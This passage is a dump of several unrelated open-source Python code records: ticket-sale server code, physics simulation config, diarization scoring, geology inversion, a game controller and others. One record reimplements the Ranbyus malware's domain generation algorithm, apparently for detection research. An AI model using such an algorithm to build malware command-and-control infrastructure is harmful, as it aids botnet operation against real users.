concurrent.futures import ThreadPoolExecutor, ALL_COMPLETED\nfrom threading import Thread, Event\nimport concurrent\nimport services as services\n\n\nshutdown_event = Event()\nexecutor = ThreadPoolExecutor(5)\noperators = []\n\n\ndef run_operator(connection):\n connection = connection\n while not shutdown_event.is_set():\n message = connection.recv()\n if shutdown_event.is_set():\n connection.send('end')\n return\n try:\n show_id, seats_count, seats_numbers = message\n print(f'selling seats: {message}')\n services.sell_seats(show_id, seats_count, seats_numbers)\n print('success')\n connection.send('success')\n except Exception as e:\n print(f'error: {str(e)}')\n connection.send(f'error: {str(e)}')\n\n\ndef run_dispatcher():\n while not shutdown_event.is_set():\n connection = listener.accept()\n operator = executor.submit(run_operator, connection)\n operators.append(operator)\n\n\ndef run_verification(seconds: int):\n open(\"sales.txt\", \"w\").close()\n while not shutdown_event.is_set():\n time.sleep(seconds)\n services.verify_sells()\n\n\nif __name__ == '__main__':\n listener = Listener(('localhost', 6000))\n thread = Thread(target=run_dispatcher)\n thread.start()\n verification_thread = Thread(target=run_verification, args=(5,))\n verification_thread.start()\n time.sleep(10)\n shutdown_event.set()\n Client(('localhost', 6000))\n listener.close()\n thread.join()\n verification_thread.join()\n concurrent.futures.wait(operators, timeout=None, return_when=ALL_COMPLETED)\n services.reset_database()\n", "source": "adipopbv/shows-app", "license": "BSD-3-Clause"} {"text": "import FWCore.ParameterSet.Config as cms\nfrom FWCore.ParameterSet.VarParsing import VarParsing\n\ndef parse_args():\n options = VarParsing(\"analysis\")\n options.register(\n 'start', 0,\n VarParsing.multiplicity.singleton,\n VarParsing.varType.int,\n \"First event\",\n )\n options.register(\n 'stop', -1,\n VarParsing.multiplicity.singleton,\n VarParsing.varType.int,\n \"Last event + 1. Default=-1 corresponds to all events\",\n )\n options.register(\n 'genseed', 456789,\n VarParsing.multiplicity.singleton,\n VarParsing.varType.int,\n \"Generator initial seed\",\n )\n options.register(\n 'simseed', 9876,\n VarParsing.multiplicity.singleton,\n VarParsing.varType.int,\n \"Geant4 simulated hits' initial seed\",\n )\n options.register(\n 'geometry', 'GeometryExtended2017Plan1',\n VarParsing.multiplicity.singleton,\n VarParsing.varType.string,\n \"CMS detector geometry. Taken from Configuration.Geometry.{}_cff\",\n )\n options.parseArguments()\n return options\n\ndef Process():\n process = cms.Process(\"PROD\")\n options = parse_args()\n\n process.load(\"SimGeneral.HepPDTESSource.pythiapdt_cfi\")\n process.load(\"Configuration.Geometry.{}_cff\".format(options.geometry))\n process.load(\"Geometry.TrackerNumberingBuilder.trackerNumberingGeometry_cfi\")\n process.load(\"Configuration.StandardSequences.MagneticField_38T_cff\")\n process.load(\"SimG4Core.Application.g4SimHits_cfi\")\n process.load(\"IOMC.RandomEngine.IOMC_cff\")\n process.RandomNumberGeneratorService.generator.initialSeed = options.genseed\n process.RandomNumberGeneratorService.g4SimHits.initialSeed = options.simseed\n\n process.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(options.inputFiles),\n )\n if options.stop>0:\n process.source.eventsToProcess = cms.untracked.VEventRange(\n '1:{}-1:{}'.format(options.start, options.stop-1),\n )\n\n process.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(options.maxEvents)\n )\n\n dets = [\n {\"label\": \"Beam\", \"volumes\": [\"BEAM\", \"BEAM1\", \"BEAM2\", \"BEAM3\"]},\n {\"label\": \"Tracker\", \"volumes\": [\"Tracker\"]},\n {\"label\": \"ECAL\", \"volumes\": [\"ECAL\"]},\n {\"label\": \"HCAL\", \"volumes\": [\"HCal\", \"VCAL\"]},\n {\"label\": \"Magnet\", \"volumes\": [\"MGNT\"]},\n {\"label\": \"Muon\", \"volumes\": [\"MB\", \"MEP\", \"MEN\"]},\n ]\n\n process.p1 = cms.Path(process.g4SimHits)\n process.g4SimHits.StackingAction.TrackNeutrino = cms.bool(True)\n process.g4SimHits.UseMagneticField = False\n process.g4SimHits.Physics.type = 'SimG4Core/Physics/DummyPhysics'\n process.g4SimHits.Physics.DummyEMPhysics = True\n process.g4SimHits.Physics.CutsPerRegion = False\n process.g4SimHits.Watchers = cms.VPSet(\n *[cms.PSet(\n type = cms.string('MaterialBudgetAction'),\n MaterialBudgetAction = cms.PSet(\n HistosFile = cms.string(\"None\"),\n AllStepsToTree = cms.bool(False),\n HistogramList = cms.string('None'),\n SelectedVolumes = cms.vstring(det[\"volumes\"]),\n TreeFile = cms.string(options.outputFile.format(det[\"label\"])),\n StopAfterProcess = cms.string(\"None\"),\n TextFile = cms.string(\"None\"),\n ),\n ) for det in dets]\n )\n return process\n\nif __name__ == \"__main__\":\n process = Process()\n\n", "source": "shane-breeze/CMS-Material-Budget", "license": "MIT"} {"text": "import copy\nimport numpy as np\nfrom sklearn.utils.linear_assignment_ import linear_assignment\nimport logging\n\n\nclass DER:\n \"\"\" Class to compute a s4d error rate.\n Error is computed at a rate of 10ms.\n\n :attr uem_set: a set of index to evaluate\n :attr collar: is the no-score zone around reference speaker segment\n boundaries. (Speaker Diarization output is not evaluated within +/- collar\n seconds of a reference speaker segment boundary.)\n :attr uem_set_collar: a set of index on with the collar is applied\n :attr length: the last index in the reference\n :attr ref_cluster_list: the list of reference cluster_list\n :attr ref_mat: the numpy.ndarry of reference indexes, each row correspond\n to a reference cluster (same order as ref_cluster_list)\n :attr hyp_cluster_list: the list of hypothesis cluster_list\n :attr hyp_mat: the numpy.ndarry of reference indexes, each row correspond\n to a hypothesis cluster (same order as ref_cluster_list)\n :attr conf: the confusion matrix\n :attr assigned: a numpy.ndarray given the association between the references and hypotheses\n :attr not_assigned: a list of hypothesis cluster_list not associated to a reference cluster\n\n \"\"\"\n\n def __init__(self, hyp_diarization, ref_diarization, uem_diarization=None, collar=0, no_overlap=False):\n \"\"\"\n\n :param hyp_diarization: a hypothesis Diar object\n :param ref_diarization: a reference Diar object\n :param uem_diarization: a uem Diar object\n :param collar: is the no-score zone around reference speaker segments\n :param no_overlap: to limit scoring to those time regions in which only\n a single speaker is speaking\n\n \"\"\"\n uem = uem_diarization\n self.collar = collar\n self.match = None\n if uem_diarization is not None:\n uem = copy.deepcopy(uem_diarization)\n if len(uem.unique('cluster')) > 1:\n raise Exception('UEM contains more than one cluster')\n if len(uem.unique('show')) > 1:\n raise Exception('UEM contains more than one show')\n self.uem_set = set(uem.features())\n\n ref = copy.deepcopy(ref_diarization)\n ref.pack()\n lst = ref.unique('show')\n if len(lst) > 1:\n raise Exception('REF contains more than one show')\n else:\n self.show = lst[0]\n if uem_diarization is None:\n print('uem from ref')\n self.uem_set = set([i for i in range(min(ref.unique('start')), max(ref.unique('stop')))])\n\n if collar > 0:\n rem = list()\n for row in ref:\n rem += [i for i in range(row['start'] - collar, row['start'] + collar)]\n rem += [i for i in range(row['stop'] - collar, row['stop'] + collar)]\n self.uem_set_collar = self.uem_set - set(rem)\n else:\n self.uem_set_collar = self.uem_set\n\n self.length = max(self.uem_set_collar) + 1\n self.ref_cluster_list = ref.unique('cluster')\n ref_idx = ref.features_by_cluster()\n self.ref_mat = self._to_bool(ref_idx, self.ref_cluster_list, self.uem_set_collar)\n if no_overlap:\n print('remove overlap')\n sum = np.sum(self.ref_mat, axis=0)\n idx = np.squeeze(np.asarray(np.argwhere(sum == 1))).tolist()\n self.uem_set_collar = self.uem_set & set(idx)\n self.length = max(self.uem_set_collar) + 1\n self.ref_mat = self._to_bool(ref_idx, self.ref_cluster_list, self.uem_set_collar)\n\n hyp = copy.deepcopy(hyp_diarization)\n hyp.pack()\n self.hyp_cluster_list = hyp.unique('cluster')\n hyp_idx = hyp.features_by_cluster()\n self.hyp_mat = self._to_bool(hyp_idx, self.hyp_cluster_list, self.uem_set_collar)\n\n self.conf = None\n self.assigned = None\n self.not_assigned = None\n\n def _to_bool(self, map, cluster_list, uem_set):\n \"\"\"Transform the dict of segments indexed by cluster into a matrix\n of booleans.\n\n :param map: dict of segments indexed by speaker\n :param cluster_list: list of cluster_list\n :param uem_set: the segments is filtered according to the uem\n\n\n :return: a numpy.ndarray object of shape (#cluster, #features)\n \"\"\"\n mat = np.zeros((len(cluster_list), self.length))\n\n for i, cluster in enumerate(cluster_list):\n mat[i, list(set(map[cluster]) & uem_set)] = True\n return mat\n\n def confusion(self):\n \"\"\"Compute the confusion matrix between reference and hypothesis\n\n :return: a numpy.ndarray object of shape (#reference, #hypothesis)\n \"\"\"\n #nh = len(self.hyp_cluster_list)\n #nr = len(self.ref_cluster_list)\n #self.conf = np.full((nr, nh), 0.0)\n #for i in range(nr):\n # for j in range(nh):\n # self.conf[i, j] = np.sum(np.logical_and(self.ref_mat[i], self.hyp_mat[j]))\n\n self.conf = np.dot(self.ref_mat, self.hyp_mat.transpose())\n\n return self.conf\n\n def confusion2str(self, all_value=False):\n \"\"\"Generate a string version of the confusion matrix\n\n :param all_value: if false, only the confision score upper to 0 is\n generated\n\n :return: a str\n \"\"\"\n mr = mh = 0\n for ch in self.ref_cluster_list + ['reference']:\n if mr < len(ch):\n mr = len(ch)\n for ch in self.hyp_cluster_list + ['hypothesis']:\n if mh < len(ch):\n mh = len(ch)\n\n f = '{:' + str(mr) + '} {:' + str(mh) + '} {:>9}\\n'\n line = f.format('reference', 'hypothesis', 'conf')\n f = '{:' + str(mr) + '} {:' + str(mh) + '} {:>8.2f}s\\n'\n nh = len(self.hyp_cluster_list)\n nr = len(self.ref_cluster_list)\n\n for i in range(nr):\n for j in range(nh):\n if self.conf[i, j] > 0 or all_value == True:\n r = self.ref_cluster_list[i]\n h = self.hyp_cluster_list[j]\n s = self.conf[i, j] / 100\n line += f.format(r, h, s)\n return line\n\n def assignment(self):\n \"\"\"Compute the reference to hypothese association using the hungarian\n algorithm\n\n :return: a dict object with key equal to (reference cluster, hypothesis cluster)\n and value equal to the confusion score\n :return: a list object containing the hypothesis cluster_list that are not assigned\n \"\"\"\n self.assigned = linear_assignment(-1.0 * self.conf)\n name_assigned = dict()\n self.match = 0\n self.not_assigned = copy.deepcopy(self.hyp_cluster_list)\n\n for i in range(self.assigned.shape[0]):\n r = self.ref_cluster_list[self.assigned[i, 0]]\n h = self.hyp_cluster_list[self.assigned[i, 1]]\n s = self.conf[self.assigned[i, 0], self.assigned[i, 1]]\n if s > 0:\n self.not_assigned.remove(h)\n name_assigned[(r, h)] = s\n self.match += s\n else:\n self.assigned[i, 0] = -1\n self.assigned[i, 1] = -1\n\n return name_assigned, self.not_assigned\n\n def set_assignment(self, name_assigned):\n \"\"\"Set assignment from an external source (from a collection of cluster_list)\n\n :param: name_assigned is a dict object with key equal to\n (reference cluster, hypothesis cluster) and value equal to the confusion\n score\n \"\"\"\n i = 0\n self.assigned = np.ones((len(self.ref_cluster_list), 2)) * -1\n\n for key in name_assigned:\n # print(key)\n if key[0] in self.ref_cluster_list and key[1] in self.hyp_cluster_list:\n r = self.ref_cluster_list.index(key[0])\n h = self.hyp_cluster_list.index(key[1])\n self.assigned[i, 0] = r\n self.assigned[i, 1] = h\n i += 1\n\n def assignment2str(self):\n \"\"\"Generate a string version of the assignment matrix attribut\n\n :return: a str\n \"\"\"\n if self.assigned is None:\n return \"Assignment is not set\"\n mr = mh = 0\n\n for ch in self.ref_cluster_list + ['reference']:\n if mr < len(ch):\n mr = len(ch)\n for ch in self.hyp_cluster_list + ['hypothesis']:\n if mh < len(ch):\n mh = len(ch)\n f = '{:' + str(mr) + '} {:' + str(mh) + '} {:>9}\\n'\n line = f.format('reference', 'hypothesis', 'matching')\n f = '{:' + str(mr) + '} {:' + str(mh) + '} {:>8.2f}s {:d} {:d}\\n'\n\n for i in range(self.assigned.shape[0]):\n if self.assigned[i, 0] >= 0:\n r = self.ref_cluster_list[self.assigned[i, 0]]\n h = self.hyp_cluster_list[self.assigned[i, 1]]\n s = self.conf[self.assigned[i, 0], self.assigned[i, 1]] / 100\n line += f.format(r, h, s, self.assigned[i, 0], self.assigned[i, 1])\n\n r = 'None'\n s = 0.0\n for h in self.not_assigned:\n line += f.format(r, h, s, -1, -1)\n\n return line\n\n def _correct(self):\n \"\"\"compute the correct decision\n\n :return: a numpy.ndarray\n \"\"\"\n c = np.zeros(self.length)\n for i in range(self.assigned.shape[0]):\n if self.assigned[i, 0] >= 0 and self.assigned[i, 1] >= 0:\n diff = np.logical_and(self.ref_mat[self.assigned[i, 0]], self.hyp_mat[self.assigned[i, 1]])\n c += diff\n return c\n\n def error(self):\n \"\"\"compute the s4d error\n\n :return: a DER_result object\n \"\"\"\n h_sum = np.sum(self.hyp_mat, axis=0)\n r_sum = np.sum(self.ref_mat, axis=0)\n c = self._correct()\n\n res = DER_result(self.show)\n res.uem_time = len(self.uem_set)\n res.uem_with_collar_time = len(self.uem_set_collar)\n res.uem_collar_time = res.uem_time - res.uem_with_collar_time\n\n z = np.zeros(r_sum.shape[0])\n\n mrh = np.sum(np.maximum(r_sum - h_sum, z))\n mhr = np.sum(np.maximum(h_sum - r_sum, z))\n\n res.speech_time = np.count_nonzero(r_sum)\n res.sns_miss_time = np.count_nonzero(np.logical_and(r_sum, np.logical_not(h_sum)))\n res.sns_fa_time = np.count_nonzero(np.logical_and(h_sum, np.logical_not(r_sum)))\n res.spk_time = r_sum.sum()\n res.spk_miss_time = mrh\n res.spk_fa_time = mhr\n res.spk_conf_time = np.sum(np.minimum(h_sum, r_sum) - c)\n\n # for i in range(c.shape[0]):\n # ref = r_sum[i]\n # hyp = h_sum[i]\n # mrh = max(ref - hyp, 0)\n # mhr = max(hyp - ref, 0)\n # res.speech_time += bool(ref)\n # res.sns_miss_time += bool(ref and not hyp)\n # res.sns_fa_time += bool(hyp and not ref)\n # if ref > 1:\n # res.overlap_time += ref\n # res.overlap_miss_time += mrh\n # res.overlap_fa_time += mhr\n # res.spk_time += ref\n # res.spk_miss_time += mrh\n # res.spk_fa_time += mhr\n # res.spk_conf_time += min(hyp, ref) - c[i]\n res.compute_rate()\n return res\n\n\nclass DER_coll(DER):\n\n def __init__(self, ref_cluster_list, hyp_cluster_list):\n self.ref_cluster_list = ref_cluster_list\n self.hyp_cluster_list = hyp_cluster_list\n hyp_nb_clusters = len(hyp_cluster_list)\n ref_nb_clusters = len(ref_cluster_list)\n self.conf = np.full((ref_nb_clusters, hyp_nb_clusters), 0.0)\n\n def merge_confusion(self, der):\n for i in range(len(der.ref_cluster_list)):\n for j in range(len(der.hyp_cluster_list)):\n v = der.conf[i, j]\n if v > 0:\n ig = self.ref_cluster_list.index(der.ref_cluster_list[i])\n jg = self.hyp_cluster_list.index(der.hyp_cluster_list[j])\n self.conf[ig, jg] += v\n\n\nclass DER_result:\n \"\"\"\n Class to store the s4d error results\n \"\"\"\n\n def __init__(self, show):\n \"\"\"\n\n :param show: a string\n \"\"\"\n self.show = show\n\n self.uem_time = 0\n self.uem_with_collar_time = 0\n self.uem_collar_time = 0\n self.spk_time = 0\n self.speech_time = 0\n self.sns_time = 0\n self.overlap_time = 0\n self.overlap_miss_time = 0\n self.overlap_fa_time = 0\n self.spk_conf_time = 0\n self.sns_fa_time = 0\n self.sns_miss_time = 0\n self.overlap_miss = 0\n self.overlap_fa = 0\n self.spk_miss_time = 0\n self.spk_fa_time = 0\n self.spk_miss = 0\n self.spk_fa = 0\n self.spk_conf = 0\n self.speech_fa = 0\n self.speech_miss = 0\n self.len_line = 0\n\n def accumulate(self, result):\n \"\"\"\n Accumulate the scores\n :param result: a DER_result object to accumulate\n :return:\n \"\"\"\n self.uem_time += result.uem_time\n self.uem_with_collar_time += result.uem_with_collar_time\n self.uem_collar_time += result.uem_collar_time\n self.spk_time += result.spk_time\n self.speech_time += result.speech_time\n self.sns_time += result.sns_time\n self.overlap_time += result.overlap_time\n self.overlap_miss_time += result.overlap_miss_time\n self.overlap_fa_time += result.overlap_fa_time\n self.spk_conf_time += result.spk_conf_time\n self.sns_fa_time += result.sns_fa_time\n self.sns_miss_time += result.sns_miss_time\n self.overlap_miss += result.overlap_miss\n self.overlap_fa += result.overlap_fa\n self.spk_miss_time += result.spk_miss_time\n self.spk_fa_time += result.spk_fa_time\n self.spk_miss += result.spk_miss\n self.spk_fa += result.spk_fa\n self.spk_conf += result.spk_conf\n self.speech_fa += result.speech_fa\n self.speech_miss += result.speech_miss\n\n def compute_rate(self):\n \"\"\"\n Compute the various rates\n \"\"\"\n self.sns_fa = self.sns_fa_time / self.uem_time * 100\n self.sns_miss = self.sns_miss_time / self.uem_time * 100\n\n if self.overlap_time > 0:\n self.overlap_fa = self.overlap_fa_time / self.overlap_time * 100\n self.overlap_miss = self.overlap_miss_time / self.overlap_time * 100\n else:\n self.overlap_fa = 0\n self.overlap_miss = 0\n\n self.spk_fa = self.spk_fa_time / self.spk_time * 100\n self.spk_miss = self.spk_miss_time / self.spk_time * 100\n self.spk_conf = self.spk_conf_time / self.spk_time * 100\n\n @classmethod\n def header(cls, speech=True, overlap=False, speaker=True):\n \"\"\"\n Make the header\n :param speech: add speech/non-speech results\n :param overlap: add overlap result\n :param speaker: add speaker result (DER)\n :return: a str\n \"\"\"\n line = ['show', 'type']\n if speech:\n line += ['fa', 'miss', 'sns']\n if overlap:\n line += ['fa', 'miss', 'overlap']\n if speaker:\n line += ['fa', 'miss', 'conf', 'speaker']\n\n return [line]\n\n def rate(self, name=None, speech=True, overlap=False, speaker=True):\n \"\"\"\n Make the rate results\n :param speech: add speech/non-speech results\n :param overlap: add overlap result\n :param speaker: add speaker result (DER)\n :return: a str\n \"\"\"\n if name is None:\n name = ''\n line = [name, 'rate']\n if speech:\n line += [self.sns_fa, self.sns_miss, self.sns_fa + self.sns_miss]\n if overlap:\n line += [self.overlap_fa, self.overlap_miss, self.overlap_fa + self.overlap_miss]\n if speaker:\n line += [self.spk_fa, self.spk_miss, self.spk_conf, self.get_der()]\n return [line]\n\n def time(self, name=None, speech=True, overlap=False, speaker=True):\n \"\"\"\n Make the time results\n :param speech: add speech/non-speech results\n :param overlap: add overlap result\n :param speaker: add speaker result (DER)\n :return: a str\n \"\"\"\n if name is None:\n name = ''\n line = [name, 'time']\n if speech:\n line += [self.sns_fa_time / 100, self.sns_miss_time / 100, self.uem_with_collar_time / 100]\n if overlap:\n line += [self.overlap_fa_time / 100, self.overlap_miss_time / 100, self.overlap_time / 100]\n if speaker:\n line += [self.spk_fa_time / 100, self.spk_miss_time / 100, self.spk_conf_time / 100, self.spk_time / 100]\n return [line]\n\n def get_table(self, name=None, time=True, rate=True, overlap=False):\n lst = []\n add_name = False\n if rate:\n lst += self.rate(name=name, overlap=overlap)\n add_name = True\n\n if time:\n if not add_name:\n lst += self.time(name=name, overlap=overlap)\n else:\n lst += self.time(name=None)\n\n #if add_name == False and overlap:\n # lst += self.overlap(speaker=speaker)\n # add_name = True\n #else:\n #lst += self.overlap(speaker=None)\n return lst\n\n def get_der(self):\n return self.spk_fa + self.spk_miss + self.spk_conf\n\n\ndef get_header():\n return DER_result.header()\n\n\ndef compute_der(hyp, ref, uem=None, collar=0, no_overlap=True):\n cder = DER(hyp, ref, uem, collar=collar, no_overlap=no_overlap)\n cder.confusion()\n cder.assignment()\n return cder.error()\n", "source": "AdityaK1211/Final_Year_Project_SCET", "license": "MIT"} {"text": "\"\"\"\nBasic restoration of the uplifted forearc horizons using inclined shear\nalong the imaged fault surface.\n\nThe results given in the paper use boostrapping to estimate an error, as well.\n(See bootstrap_error.py) This script just does a single best-fit inversion.\n\"\"\" \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport geoprobe\n\nfrom fault_kinematics.homogeneous_simple_shear import invert_slip\nimport utilities\nimport data\n\ndef main():\n slips, heaves, _, _ = restore_horizons()\n plot_restored_locations(slips, heaves)\n plt.show()\n\ndef restore_horizons(func=invert_slip):\n \"\"\"\n Restore each of the uplifted horizons individually. \n\n \"func\" just allows overriding of the specific inversion (e.g. see \n \"invert_slip_fixed_azimuth.py\") without code duplication.\n \"\"\"\n # Note that we start each horizon at zero offset and restore independently\n guess = (0,0)\n\n variances, planar_variances = [], []\n slips, heaves = [], []\n for hor in data.horizons[::-1]:\n hor_xyz = data.world_xyz(hor)\n\n # Downsample the horizon for faster runtime \n # (No need to include millions of points along the horizon's surface)\n hor_xyz = hor_xyz[::50]\n\n # Invert for the slip along the fault needed to restore the horizon\n # to horizontal.\n slip, metric = func(data.fault_xyz, hor_xyz, alpha=data.alpha, \n guess=guess, overlap_thresh=1, return_metric=True)\n heave = utilities.calculate_heave(slip, hor)\n\n variances.append(metric)\n planar_var = planar_variance(hor_xyz)\n planar_variances.append(planar_var)\n slips.append(slip)\n heaves.append(heave)\n\n # Note: We're plotting \"metric / planar_var\" to allow a direct\n # comparison of the quality of the fit between different horizons. \n print 'Restoring', hor.name\n print ' Roughness (lower is better):', metric / planar_var\n return slips, heaves, variances, planar_variances \n\ndef plot_restored_locations(slips, heaves):\n \"\"\"Plot the map-view location of each horizon's restored position.\"\"\"\n # Prepend the present-day location of 0,0 for plotting...\n slips = [(0,0)] + slips\n heaves = [(0,0,0)] + heaves\n\n slip_x, slip_y = np.array(slips).T\n\n heave_x, heave_y, heave_z = np.array(heaves).T\n\n\n fig, ax = plt.subplots()\n ax.plot(slip_x, slip_y, 'bo-')\n ax.plot(heave_x, heave_y, 'go-')\n utilities.plot_plate_motion(time=2e5, xy=slips[3])\n\n plt.axis('equal')\n\n return fig, ax\n\ndef planar_variance(xyz):\n \"\"\"\n Effectively the \"roughness\" (the metric minimized during inversion) left\n over after a planar fit.\n \"\"\" \n vecs, vals = geoprobe.utilities.principal_axes(*xyz.T, return_eigvals=True)\n return vals[-1]\n\nif __name__ == '__main__':\n main()\n", "source": "joferkington/oost_paper_code", "license": "MIT"} {"text": "import numpy as np\nimport linmix\nfrom astropy.table import Table\n\n\ndef generate_test_data():\n alpha = 4.0\n beta = 3.0\n sigsqr = 0.5\n\n # GMM with 3 components for xi\n xi = np.random.normal(loc=1.0, scale=1.0, size=9)\n xi = np.concatenate([xi, np.random.normal(loc=2.0, scale=1.5, size=20)])\n xi = np.concatenate([xi, np.random.normal(loc=3.0, scale=0.5, size=30)])\n eta = np.random.normal(loc=alpha+beta*xi, scale=np.sqrt(sigsqr))\n\n # Let's mix in some weird measurement uncertainties:\n xsig = 0.25 * np.sin(np.arange(len(xi))) + 0.5\n ysig = 0.25 * np.cos(np.arange(len(eta)))**2 + 0.5\n x = np.random.normal(loc=xi, scale=xsig)\n y = np.random.normal(loc=eta, scale=ysig)\n\n # And put in zero uncertainty in a few of these.\n wzx = np.random.choice(np.arange(len(xi)), size=5, replace=False)\n xsig[wzx] = 0.0\n wzy = np.random.choice(np.arange(len(eta)), size=5, replace=False)\n ysig[wzy] = 0.0\n\n # And censor all the ydata less than 10, unless the yerr is 0\n w10 = (y < 10) & (ysig != 0)\n y[w10] = 10\n delta = np.ones((len(x),), dtype=int) # should really be bool, but ints are easier\n delta[w10] = 0\n\n out = Table([x, y, xsig, ysig, delta], names=['x', 'y', 'xsig', 'ysig', 'delta'])\n import astropy.io.ascii as ascii\n ascii.write(out, 'test.dat')\n\n\ndef run():\n import astropy.io.ascii as ascii\n try:\n a = ascii.read('test.dat')\n except:\n generate_test_data()\n a = ascii.read('test.dat')\n\n lm = linmix.LinMix(a['x'], a['y'], a['xsig'], a['ysig'], delta=a['delta'])\n lm.run_mcmc()\n ascii.write(lm.chain[['alpha', 'beta', 'sigsqr',\n 'mu0', 'usqr', 'wsqr',\n 'ximean', 'xisig', 'corr']],\n 'test.pyout')\n\nif __name__ == '__main__':\n run()\n", "source": "qacwnfq/linmix", "license": "BSD-2-Clause"} {"text": "import os\nimport json\nimport numpy as np\nimport pickle\ndef save_attributes(model_file, attributes_file):\n with open(model_file, 'rb') as fr:\n model = pickle.load(fr)\n attribute_dict_numpy = {k: repr(v.tolist()).replace(\"\\n\", \"\").replace(\" \", \"\") for (k, v) in model.__dict__.items() if (type(v) == np.ndarray)}\n attribute_dict_normal = {k: repr(v) for (k, v) in model.__dict__.items() if (type(v) != np.ndarray)}\n attribute_dict = dict(attribute_dict_numpy, **attribute_dict_normal)\n if (hasattr(model, \"feature_importances_\")):\n func = getattr(model, \"feature_importances_\")\n attribute_dict[\"feature_importances_\"] = repr(func).replace(\"\\n\", \"\").replace(\" \", \"\")\n attribute_json = json.dumps(attribute_dict)\n with open(attributes_file, 'w') as f:\n f.write(attribute_json)\nparams_file = os.path.join(os.getcwd(), \"python_temp.pickle\")\n\nmodel_path = \"\"\ntempModelLocalPath = \"\"\nwith open(params_file, 'rb', 1 << 20) as f:\n params = pickle.load(f)\n if \"modelPath\" in params:\n model_path = params[\"modelPath\"]\n if \"internalSystemParam\" in params:\n isp = params[\"internalSystemParam\"]\n if \"tempModelLocalPath\" not in isp:\n raise Exception(\"tempModelLocalPath is not configured\")\n tempModelLocalPath = isp[\"tempModelLocalPath\"]\n\n\nsave_attributes(model_path, tempModelLocalPath + \"/attributes.json\")", "source": "zhuimengrenweijian/mlsql", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\nfrom dgacollection.DGAMalware import DGAMalware\n\n\"\"\"A few constants for the Ranbyus' DGA.\n\nThe original code contains the TLD .org but it's never used due to a bug in the algorithm.\n\n\"\"\"\ntlds = ['.in', '.me', '.cc', '.su', '.tw', '.net', '.com', '.pw']\nnb_domains = 40\nuint_mask = 0xFFFFFFFF\ndefault_seed = 0x65BA0743\n\n\n\"\"\"Domain Generation Algorithm for Ranbyus\n\nSources:\n http://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/\n Johannes Bader\n May 23, 2015\n\n\"\"\"\nclass Ranbyus(DGAMalware):\n\n @classmethod\n def domainsFor(self, date):\n tld_index = date.day\n day = date.day\n month = date.month\n year = date.year\n domains = []\n seed = default_seed\n for d in range(nb_domains):\n domain = ''\n for i in range(14):\n day = (day >> 15) ^ 16 * (day & 0x1FFF ^ 4 * (seed ^ day))\n day &= uint_mask\n year_times7 = 7 * year & uint_mask\n year = (((year & 0xFFFFFFF0) << 17) & uint_mask) ^ ((year ^ year_times7) >> 11)\n month_times4 = 4 * month & uint_mask\n month = (14 * (month & 0xFFFFFFFE) & uint_mask) ^ ((month ^ month_times4) >> 8)\n seed_times8 = 8 * seed & uint_mask\n seed = (seed >> 6) ^ ((day + seed_times8 << 8) & uint_mask) & 0x3FFFF00\n x = ((day ^ month ^ year) % 25) + 97\n domain += chr(x)\n domains.append(domain + tlds[tld_index % 8])\n tld_index += 1\n return domains\n\n \"\"\"\n Ranbyus' domains don't contain the character 'z'.\n \"\"\"\n @classmethod\n def couldUseDomain(self, domain):\n useTLD = False\n for tld in tlds:\n if domain.endswith(tld):\n useTLD = True\n break\n if not useTLD:\n return False\n\n label = domain.split('.', 1)[0]\n if 'z' in label:\n return False\n\n return not any(char.isdigit() for char in domain)\n", "source": "pchaigno/dga-collection", "license": "MIT"} {"text": "\"\"\"Controllers of the game.\n\nHandle all the events.\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom typing import List\n\nimport pygame.event\n\nfrom ..model import entity\nfrom ..model import game\nfrom ..model import vector\nfrom . import control\n\n\nclass GameController:\n \"\"\"Main controller during the game.\n\n Handle pygame events (from the user) and main intern events (like maze change)\n \"\"\"\n\n def __init__(self, model: game.GameModel) -> None:\n self.model = model\n self.player_controllers = [PlayerController(model.players[identifier]) for identifier in model.players]\n\n def handle_user_event(self, event: pygame.event.Event) -> bool:\n \"\"\"Handle all the graphical events.\n\n Args:\n event (pygame.event.Event): The event received.\n\n Returns:\n bool: True if the event has been handled. False otherwise.\n \"\"\"\n if not self.model.state.RUNNING:\n # Game keys are handled only when playing\n # FIXME: If a player key is pressed it could be stored ?\n return False\n\n for controller in self.player_controllers:\n if controller.handle_user_event(event):\n return True\n return False\n\n def tick(self, delta_time: float) -> None:\n \"\"\"Called at each time step.\n\n Update the model and forward time. Will probably evolved\n\n Args:\n delta_time (float): Time since last call\n \"\"\"\n self.model.update(delta_time)\n\n for controller in self.player_controllers:\n controller.tick(delta_time)\n\n\nclass PlayerController:\n \"\"\"Handle keys for a given player and its controls.\n\n Each key event will update the direction, and the bombing behavior of the player.\n \"\"\"\n\n def __init__(self, player: entity.Player) -> None:\n self.player = player\n self.player_control = control.PlayerControl.from_identifier(self.player.identifier)\n self.key_to_direction = {\n self.player_control.up: vector.Direction.UP,\n self.player_control.down: vector.Direction.DOWN,\n self.player_control.right: vector.Direction.RIGHT,\n self.player_control.left: vector.Direction.LEFT,\n }\n self.direction_pressed: List[int] = []\n self.bombing = False\n\n def handle_user_event(self, event: pygame.event.Event) -> bool:\n \"\"\"Handle an event for the player concerned.\n\n Args:\n event (pygame.event.Event): The event received.\n\n Returns:\n bool: True if the event has been handled. False otherwise.\n \"\"\"\n if event.type not in (control.TypeControl.KEY_DOWN, control.TypeControl.KEY_UP):\n return False\n\n if event.key == self.player_control.bombs:\n self.bombing = event.type == control.TypeControl.KEY_DOWN\n return True\n\n if event.key not in self.key_to_direction:\n return False\n\n if event.type == control.TypeControl.KEY_DOWN:\n assert event.key not in self.direction_pressed\n self.direction_pressed.append(event.key)\n elif event.type == control.TypeControl.KEY_UP:\n self.direction_pressed.remove(event.key)\n\n if not self.direction_pressed:\n self.player.set_wanted_direction(None)\n else:\n self.player.set_wanted_direction(self.key_to_direction[self.direction_pressed[-1]])\n\n return True\n\n def tick(self, _delta_time: float) -> None:\n if self.bombing:\n self.player.bombs() # Try to bomb at each time step when bombing\n # Note that entity update is done by game controller, no need to redo it.\n", "source": "raphaelreme/bomberman", "license": "MIT"} {"text": "from djavError.widgets.fixable_report import FixableTable\n\n\nclass StaffEmailLogTable(FixableTable):\n def headers(self):\n return ['Title', 'Created', 'Latest', 'Count']\n\n def get_cells(self, fixable):\n return [fixable.title, fixable.created, fixable.latest, fixable.count]\n", "source": "dasmith2/djavError", "license": "MIT"} {"text": "\nclass session_info():\n 